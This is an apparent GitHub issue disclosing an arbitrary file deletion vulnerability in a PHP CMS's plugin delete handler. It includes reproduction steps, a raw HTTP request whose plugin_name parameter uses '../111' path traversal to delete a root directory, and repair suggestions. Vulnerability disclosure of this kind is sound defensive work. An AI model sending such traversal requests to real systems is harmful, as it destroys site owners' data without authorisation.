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There is an arbitrary file deletion vulnerability here: /index.php?m=admin&c=custom&a=plugindelhandle&plugin_name= #116

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zhendezuile opened this issue Apr 4, 2022 · 0 comments

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@zhendezuile
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Vulnerability file: \Application\Common\Util\File.class.php
image

Vulnerability to reproduce:
1、First log in to the background
2、Visit url: http://www.xxx.com/index.php?m=admin&c=custom&a=plugin
3、Here delete the 111 folder in the root directory,construct the packet as follows:
.................................................
GET /index.php?m=admin&c=custom&a=plugindelhandle&plugin_name=../111 HTTP/1.1
Host: www.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.xxx.com/index.php?m=admin&c=custom&a=plugin
Cookie: PHPSESSID=jlmibkatfp939ds8pk3qpiv536; Hm_lvt_48659a4ab85f1bcebb11d3dd3ecb6760=1649066135; Hm_lpvt_48659a4ab85f1bcebb11d3dd3ecb6760=1649066212; greencms_last_visit_page=aHR0cDovL3d3dy54aWFvZGkuY29tL2luZGV4LnBocD9tPWFkbWluJmM9Y3VzdG9tJmE9cGx1Z2lu
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
.................................................

Repair suggestion:
1、Filter ../ and ..\
2、Specify the range of files to delete

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